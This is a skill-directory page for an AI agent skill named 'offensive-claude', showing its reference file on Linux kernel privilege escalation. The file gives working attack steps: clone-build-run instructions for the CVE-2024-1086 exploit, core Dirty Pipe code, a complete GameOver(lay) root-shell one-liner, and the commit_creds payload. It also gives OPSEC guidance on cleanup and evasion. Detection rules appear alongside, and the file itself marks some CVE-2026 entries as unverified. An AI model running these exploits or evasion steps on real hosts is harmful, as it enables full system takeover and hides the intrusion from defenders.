hypnguyen1209/offensive-claude / skills/privesc-linux
privesc-linux
FlaggedUse when escalating privileges on a Linux host — SUID/SGID & GTFOBins, sudo LPE (CVE-2025-32462/32463), capabilities & LD_PRELOAD, kernel LPE (CVE-2024-1086, Dirty Pipe, GameOver(lay)), service misconfig (PwnKit, Looney Tunables), container/namespace escape
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 9.7 KB |
| references/container-namespace-escape.md | markdown | 10.7 KB |
| references/enumeration-tooling.md | markdown | 9.7 KB |
| references/kernel-exploits.md | markdown | 11.9 KB |
| references/service-misconfig-lpe.md | markdown | 11.0 KB |
| references/suid-sudo-capabilities.md | markdown | 12.1 KB |
| scripts/cap_suid_hunter.sh | script | 6.0 KB |
| scripts/container_escape_check.sh | script | 7.4 KB |
| scripts/kernel_exploit_suggester.py | script | 11.4 KB |
| scripts/linpriv_enum.py | script | 21.6 KB |
| scripts/sudo_cve_2025_check.sh | script | 5.4 KB |
references/kernel-exploits.md
View on GitHub# Kernel Exploits
When userland misconfig fails, the kernel itself is the target. This cluster covers the high-value
2024-2026 Linux kernel LPE classes, the methodology for picking a *reliable* exploit for a given host,
and the universal post-corruption primitive (`commit_creds`). Kernel exploits crash hosts when wrong —
profile the kernel precisely first.
## Theory / mechanism
A kernel LPE turns an unprivileged-reachable kernel bug (use-after-free, double-free, OOB write, type
confusion in a syscall/subsystem) into a controlled write over kernel memory. The end goal is almost
always the same: overwrite the current task's credentials with root's, then return to userland with a
root shell.
The canonical final primitive (once you have arbitrary call or write):
```c
commit_creds(prepare_kernel_cred(NULL)); // legacy: task gets uid/gid 0 creds
// modern kernels (prepare_kernel_cred(NULL) changed in 6.2+): use init_cred directly
commit_creds(&init_cred); // or ROP: call commit_creds with &init_cred
switch_task_namespaces(current, &init_nsproxy); // escape namespaces/containers too
```
Modern exploit chains: leak to defeat KASLR (find kernel base / a known symbol), groom the heap (slab
spray to control a freed object), hijack a function pointer (fake ops struct), pivot to a ROP chain
that calls `commit_creds(&init_cred)` (or modifies `cred->uid` directly via arbitrary write), then
`iretq`/KPTI-trampoline back to a userland shell.
## Reliability-first selection methodology
`scripts/kernel_exploit_suggester.py` fingerprints `uname -r`, distro (`/etc/os-release`), glibc
version, and protections (`unprivileged_userns_clone`, `io_uring_disabled`, `unprivileged_bpf_disabled`,
KASLR/SMEP/SMAP/KPTI from `/proc/cpuinfo` + config) and ranks applicable modern CVEs by reliability.
```bash
python3 scripts/kernel_exploit_suggester.py # ranked CVE list for this host
python3 scripts/kernel_exploit_suggester.py --json out.json
cat /proc/version; uname -r # exact build
zcat /proc/config.gz 2>/dev/null | grep -E 'USER_NS|IO_URING|BPF_UNPRIV|RANDOMIZE'
cat /proc/sys/kernel/unprivileged_userns_clone 2>/dev/null # 1 = userns LPEs viable
cat /proc/sys/kernel/io_uring_disabled 2>/dev/null # 0/1 = io_uring exploitable; 2 = off
cat /proc/sys/kernel/unprivileged_bpf_disabled # 0 = unpriv BPF allowed
```
**Pre-flight before running ANY kernel exploit:** confirm authorization for a potential crash, snapshot
if VM, check for live users (`w`), and prefer a build that exactly matches the public PoC's tested
kernels — generic "works on 5.14–6.6" claims still need per-build offset tuning.
## CVE-2024-1086 — nf_tables double-free (VERIFIED, CISA KEV, ransomware-used)
The flagship modern Linux LPE. Double-free in `nft_verdict_init()` / verdict handling in the netfilter
nf_tables subsystem (CWE-416). Public, highly reliable PoC by **Notselwyn** (Mar 2024) covers kernels
**5.14 – 6.6**. Added to CISA KEV (May 30 2024); CISA confirmed ransomware use (Oct 2025).
**Precondition:** `CAP_NET_ADMIN` — obtainable unprivileged via an unprivileged **user namespace**
(`unshare -rn`) on distros that allow `unprivileged_userns_clone=1` (Ubuntu default historically).
```bash
# Check exploitability surface
cat /proc/sys/kernel/unprivileged_userns_clone # need 1 (or root) for the CAP_NET_ADMIN route
uname -r # need 5.14 <= ver <= 6.6 (build-specific)
# Build + run Notselwyn's exploit (Dirty Pagedirectory technique)
git clone https://github.com/Notselwyn/CVE-2024-1086 && cd CVE-2024-1086
make # produces ./exploit
./exploit # sprays/double-frees, overwrites page table entries -> arbitrary R/W -> root
```
Technique: triggers a double-free in the page allocator, sprays to reclaim, corrupts page-table
entries for arbitrary kernel read/write, then overwrites `current->cred` → root. It also calls
`switch_task_namespaces` to break out of the unprivileged namespace/container.
**Mitigation that neutralizes it:** `sysctl kernel.unprivileged_userns_clone=0` (no unprivileged
`CAP_NET_ADMIN`), or `kernel.unprivileged_bpf_disabled=1` doesn't help here — it's the userns→nftables
path. Patched kernels (≥6.7 / backports) close the double-free.
### Newer nftables UAFs (2025-2026, emerging)
> ⚠️ **UNVERIFIED CVE IDs.** The CVE-2026-* identifiers below could not be confirmed against NVD and
> their sources are uncorroborated. Treat them as illustrative of the *bug class* (nftables/io_uring
> UAF LPE), not as confirmed advisories — verify on nvd.nist.gov before citing or building.
- **CVE-2026-23111** (UNVERIFIED) — UAF from an inverted conditional in `nft_map_catchall_activate()` mishandling
catchall elements on transaction abort, leaving a dangling chain reference. Public write-up + working
exploit reach root reliably on Debian Bookworm/Trixie, Ubuntu 22.04/24.04 LTS, RHEL 10 (corrupt chain
refcounts → KASLR bypass → heap leak → fake `nft_expr_ops` → ROP → `commit_creds(&init_cred)` →
`switch_task_namespaces`). Discovered by Oliver Sieber (Exodus Intelligence). Treat as current/emerging.
- **CVE-2026-23412** (UNVERIFIED) — slab-UAF in the BPF netfilter link (`nfnl_hook_dump_one`), kmalloc-192 slab;
exploitable via heap spray + function-pointer hijack; reproduced on kernel 6.14.0. Introduced
6.4-rc1, fixed 7.0-rc5 (commit 24f90fa3994b, RCU-deferred freeing).
> Verify exact affected builds against your target before relying on these — 2026 CVEs evolve fast.
## io_uring LPE (VERIFIED class)
io_uring is a recurring kernel-LPE surface (async I/O with shared kernel/user memory rings).
- **CVE-2024-0582** — memory corruption / page-reuse in io_uring; write-up "CVE-2024-0582, or Easy
Kernel Exploitation" (Moe Acherir). Reliable on affected ~6.x builds.
- **CVE-2025-21836** — io_uring memory-sharing flaw ("Déjà Vu in Linux io_uring", Pumpkin Chang) —
re-breaks memory sharing after generations of fixes.
- **CVE-2026-23274 / CVE-2026-23351** (UNVERIFIED) — multiple io_uring memory-safety issues, prime LPE
candidates (emerging; unconfirmed CVE IDs — verify against NVD before relying on them).
```bash
cat /proc/sys/kernel/io_uring_disabled # 0 or 1 -> exploitable surface; 2 -> fully disabled
# Many hardened distros now ship io_uring_disabled=2 by default — confirm before investing.
```
## Dirty Pipe — CVE-2022-0847 (VERIFIED, historical but still hits unpatched/embedded)
Page-cache overwrite via `splice()` into a pipe with stale `PIPE_BUF_FLAG_CAN_MERGE` (CWE-787).
Linux **5.8 – 5.16.11** (and 5.15.x/5.10.x before backport). Overwrite any file the user can *open
read-only* — e.g. clobber `/etc/passwd`, a root-owned SUID binary, or `/usr/bin/su`.
```c
// Core idea (full PoC: Max Kellermann's dirtypipe-exploit). Overwrites read-only file at offset.
int p[2]; pipe(p);
char buf[4096];
write(p[1], buf, sizeof(buf)); // fill pipe -> sets CAN_MERGE on the last page
read (p[0], buf, sizeof(buf)); // drain pipe -> page stays, flag stale
int fd = open(target, O_RDONLY); // victim file, RO is enough
loff_t off = file_offset; ssize_t n = sizeof(payload);
splice(fd, &off, p[1], NULL, 1, 0); // splice victim page into pipe
write(p[1], payload, n); // writes straight into the page cache -> file modified
```
Reliable, no KASLR/heap work — still relevant on embedded/IoT/long-LTS hosts. Common payload: hijack a
SUID binary's bytes to spawn a shell, run it, restore original bytes.
## GameOver(lay) — CVE-2023-2640 + CVE-2023-32629 (VERIFIED, Ubuntu)
Ubuntu-specific OverlayFS LPE: an unprivileged user namespace can set `trusted.overlay.*` xattrs that
the kernel treats as privileged overlay metadata, letting you stamp file capabilities (e.g.
`cap_setuid`) onto a binary in the upper dir → root. Affects Ubuntu kernels (`5.4`/`5.15`/`6.2`-era
Ubuntu builds; check USN).
```bash
unshare -rm sh -c '
mkdir l u w m
cp /usr/bin/python3 l/
setcap cap_setuid+eip l/python3
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m
touch m/python3 # copy-up -> caps land on the real upper file
u/python3 -c "import os;os.setuid(0);os.execl(\"/bin/bash\",\"bash\",\"-p\")"
'
```
## Looney Tunables — CVE-2023-4911 (cross-listed; userland glibc, VERIFIED, CISA KEV)
Buffer overflow in glibc `ld.so` processing of `GLIBC_TUNABLES` (CWE-787). Not a kernel bug but a
universal SUID-vector LPE; detailed in `service-misconfig-lpe.md`. `kernel_exploit_suggester.py`
flags it from the glibc version because it pairs naturally with kernel triage.
```bash
ldd --version | head -1 # glibc <= 2.37 (pre-patch) on Fedora 37/38, Ubuntu 22.04/23.04, Debian 12/13
# Quick vuln smoke test (segfaults on vulnerable ld.so):
env -i "GLIBC_TUNABLES=glibc.malloc.tcache_max=glibc.malloc.tcache_max=A" "A=A" /usr/bin/su --help 2>&1 | head -1
```
## Detection
**auditd — unprivileged userns + nftables (CVE-2024-1086 path), io_uring, exploit syscalls:**
```
-a always,exit -F arch=b64 -S unshare -F a0&0x10000000 -k userns_create # CLONE_NEWUSER
-a always,exit -F arch=b64 -S io_uring_setup -k io_uring
-a always,exit -F arch=b64 -S setuid -F a0=0 -F auid>=1000 -F auid!=unset -k uid0_setuid
-w /proc/sys/kernel/unprivileged_userns_clone -p w -k userns_toggle
```
**Falco rules (container/host kernel-exploit signals):**
```yaml
- rule: Unprivileged User Namespace Creation by Non-Root
desc: CVE-2024-1086 / userns-based kernel LPE precondition
condition: evt.type=unshare and evt.arg.flags contains CLONE_NEWUSER and user.uid != 0
output: "Unprivileged userns created (user=%user.name proc=%proc.cmdline)"
priority: WARNING
- rule: Suspicious io_uring Setup
condition: evt.type=io_uring_setup and not proc.name in (known_iouring_apps)
output: "io_uring_setup by %proc.cmdline (user=%user.name)"
priority: NOTICE
```
**EDR / log IOCs:**
- `unshare(CLONE_NEWUSER|CLONE_NEWNET)` from a non-root, non-container-runtime process immediately
followed by nftables syscalls (`sendmsg` to `NETLINK_NETFILTER`).
- `dmesg`/kernel log: KASAN "slab-use-after-free", "double free", BUG/oops near `nft_*`, `io_uring_*`,
`ovl_*`. A crashed-then-recovered exploit often leaves a partial trace.
- A child process whose euid suddenly becomes 0 with no `setuid`/login event (cred overwrite) — strong
kernel-exploit signal; many EDRs hook `commit_creds`/track cred struct changes.
- Looney Tunables: setuid execve with `GLIBC_TUNABLES=` containing a duplicated `=`; SIGSEGV core dumps.
## OPSEC
- **Touches:** kernel logs (`dmesg`/`/var/log/kern.log`) — failed attempts leave UAF/oops traces; the
process table; auditd `unshare`/`io_uring_setup` records; potential **host crash** (highest-risk LPE
class). cred-overwrite is invisible to login auditing but visible to cred-tracking EDR.
- **Cleanup:** remove dropped exploit binaries/source (`shred -u`); you generally cannot scrub
`dmesg` without root (and `dmesg -C` itself is logged) — assume kernel traces persist until reboot.
- **Evasion:** exhaust misconfig LPE first (quieter, no crash risk). If you must go kernel: match the
exact build, run once, snapshot VMs, avoid hosts with live users, and prefer cred-overwrite paths
over noisy `modprobe`/`call_usermodehelper` techniques. Disable-checks (`userns_clone=0`,
`io_uring_disabled=2`) tell you which classes are dead before you risk a crash.
## References
- Notselwyn, **CVE-2024-1086 exploit + write-up** — https://github.com/Notselwyn/CVE-2024-1086
- SOC Prime, CVE-2024-1086 (ransomware/KEV) — https://socprime.com/blog/cve-2024-1086-vulnerability/
- xairy, **linux-kernel-exploitation** (curated CVE/talk index) — https://github.com/xairy/linux-kernel-exploitation
- Moe Acherir, *CVE-2024-0582, or Easy Kernel Exploitation* (io_uring)
- Pumpkin Chang, *Déjà Vu in Linux io_uring* (CVE-2025-21836)
- Max Kellermann, **Dirty Pipe (CVE-2022-0847)** — https://dirtypipe.cm4all.com/
- Wiz / Ubuntu USN, **GameOver(lay) CVE-2023-2640 / CVE-2023-32629**
- Exodus Intelligence, nftables CVE-2026-23111 write-up (catchall UAF)
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| slack-gif-creatoranthropics/skillsKnowledge and utilities for creating animated GIFs optimized for Slack. Provides constraints, validation tools, and animation concepts. Use when users request animated GIFs for Slack like "make me a GIF of X doing Y for Slack." | Stars: 198k | Updated | Claude CodeCodex | Verified | Install |
| ponytailDietrichGebert/ponytailLazy senior dev mode for any coding task: the smallest change that fully solves it, and a reply a busy human understands in one read. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-debtDietrichGebert/ponytailHarvest every shortcut: comment into one debt ledger, so deferrals get tracked instead of forgotten. One-shot report. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-debtDietrichGebert/ponytailList every `shortcut:` comment (and older `ponytail:` ones) as a debt ledger. One-shot report, changes nothing. Use for "ponytail debt", "what did ponytail defer", "list the shortcuts", /ponytail-debt. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |